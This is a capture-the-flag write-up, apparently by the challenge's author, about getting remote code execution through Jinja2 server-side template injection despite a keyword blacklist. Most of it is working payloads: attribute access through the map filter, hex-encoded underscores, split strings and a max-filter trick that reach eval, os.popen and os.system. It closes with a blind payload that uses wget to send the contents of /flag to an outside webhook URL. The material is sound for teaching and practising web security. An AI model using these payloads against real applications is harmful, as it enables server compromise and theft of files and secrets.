Description
This challenge was about acheiving SSTI rce with an abstract way of getting the attributes and builtins. The idea was inspired from the GDG Algiers CTF 2022.
I really loved the idea of using some abstract filter that can âalmostâ trully bypass any blacklist ( still need more research ) but the main thing is that we can now trully call any attribute using this trick and its rare that a blacklist would prevent you from using the map filter.
I just wanted it to be a bit harder so i added few more restrictions in my challenge, the same idea persists, but different method and with an extra step
https://github.com/GDGAlgiers/gdg-algiers-ctf-2022-writeups/tree/main/web/pipe-your-way
Shoutout to the authors of pipe your way in GDG i really enjoyed that challenge
Brief solution
My solver using eval payload with lipsum:
{{ lipsum.__globals__.__builtins__['eval']('open("/flag").read()')}}
Turned into :
{% set exploit = ((lipsum,)|map(**{"at""tribute" : "\x5F\x5Fglo""bals\x5F\x5F"})|map(**{"at""tribute" : "\x5F\x5Fbui""ltins\x5F\x5F"})|map(**{"at""tribute" : "ev""al"})|max)("o""pen('/fl''ag')\x2Er""ead()") %}{%print(exploit)%}
TLDR;
-
using map() filter to get attributes
-
using {% %} to set and print the output since {{}} are blacklisted
-
using |max to get the specific attribute in eval
-
using hex encoding since _ is blacklisted.
-
using quotes trick to bypass filtered words
Explanation on How to approach :
Why (lipsum,) ??
In jinja or in python u can call multiple functions using () like this : (lipsum,config,cycler,)
Be aware if u donât add , in the end it doesnt work.
Why even bother to think of this?
map only works on a an iterated object and since we defined a âtupleâ with a lipsum we can choose to map just lipsum
Why map?
map is a filter used to access an attribute of an object.
Example :
{{ users|map(attribute='username') }}
And since we canât apply an attribute directly (like this : map(attribute='test') ) because attr is filtered so using **kwargs we can specify weâre mapping an attribute
now since all our payload attributes are gonna be inside quotes we can easily bypass the filter with just adding "" in the middle to split the string and using hex for the rest ( note u can use hex for all not just the _ )
thats still not enoughâŚWhen using map some issues can happen
WTF is |max ?
Great question , so if you noticed i explicitly filtered out list and last , practically these do the same thing. letâs investigate why max does the same thing as list|last in our case !!
letâs try and work with this payload :
lipsum.__globals__.__os__.__popen__('id').read()
now letâs trying using the map technique without max or list or last, stop at popen and see what happens.
Payload :
{% set x=((lipsum,)|map(**{"attribute" : "__globals__"})|map(**{"attribute" : "os"})|map(**{"attribute" : "popen"})) %} {%print(x)%}
Output :
<generator object sync_do_map at 0xfunction_number_here>
The issue with map is that while we are trully mapping the attribute, weâre not really calling popen, weâre calling the map filter thats why you see âsync_do_mapâ
So how do we fix this?
A better way to understand this is to stop at globals, globals has bunch of attributes right? while os and popen is just one.
Letâs try this :
Payload :
{% set x=((lipsum,)|map(**{"attribute":"__globals__"}))%}{%print(x)%}
output :
<generator object sync_do_map at 0xfunction_number>
Payload :
{% set x=((lipsum,)|map(**{"attribute":"__globals__"})|list)%}{%print(x)%}
output :
[{'__name__': 'jinja2.utils', '__doc__': None, '__package__': 'jinja2', '__loader...
You see what happened now? we got a list the all the attributes, oke now what? still âmaxâ doesnt make any sense..
Now you understand why we need something else other than map we move into popen
So we said popen has just one attribute right?
Yeah so letâs try the list thing, same thing right? give us a list of the attributes, in this case just popen function.
Using list only wont completely work yet tho.. why? well to execute a function you have to call it, with just list weâre calling the list itself and thats not a function
Payload:
{% set x=((lipsum,)|map(**{"attribute" : "__globals__"})|map(**{"attribute" : "os"})|map(**{"attribute" : "popen"})|list) %}{%print(x)%}
Output:
[<function popen at 0xfunction_number>]
Payload:
{% set x=((lipsum,)|map(**{"attribute" : "__globals__"})|map(**{"attribute" : "os"})|map(**{"attribute" : "popen"})|list|last) %}{%print(x)%}
Output:
<function popen at 0xfunction_number>
You see how the âlistâ brackets are removed now? we directly accessed the popen function !!
Okey now we understand why list and last can help us but theyâre filtered right? :((
Yep! but we can use max! why?
max will simply return the longest item in a list, and since we have one item in the final attribute (popen) max will simply return that one item ( the popen function itself )
Now we simply use max instead of |list|last and weâre done!
Solutions
lipsum solution :
{% set exploit = ((lipsum,)|map(**{"at""tribute" : "\x5F\x5Fglo""bals\x5F\x5F"})|map(**{"at""tribute" : "\x5F\x5Fbui""ltins\x5F\x5F"})|map(**{"at""tribute" : "ev""al"})|max)("o""pen('/fl''ag')\x2Er""ead()") %}{%print(exploit)%}
cycler solution :
cycler.__init__.__globals__.os.popen('ls').read()
Turned into :
{% set ex= ((cycler,)|map(**{"at""tribute" : "\x5F\x5Fin""it\x5F\x5F"})|map(**{"at""tribute" : "\x5F\x5Fglo""bals\x5F\x5F"})|map(**{"at""tribute" : "os"})|map(**{"at""tribute" : "popen"})|max)('id')%}{%print(ex|max)%}
Blind solution:
cycler.__init__.__globals__.os.system('')
since system doesnt print out the commands output and we canât use read() on it we go blind
{% set ex= ((cycler,)|map(**{"at""tribute" : "\x5F\x5Fin""it\x5F\x5F"})|map(**{"at""tribute" : "\x5F\x5Fglo""bals\x5F\x5F"})|map(**{"at""tribute" : "os"})|map(**{"at""tribute" : "sy""st""em"})|max)('wget https://webhook.site/8cc2d187-a9df-401b-8f25-0fbf1dac5c33/?c=`c''at /fl''ag`')%}{%print(ex)%}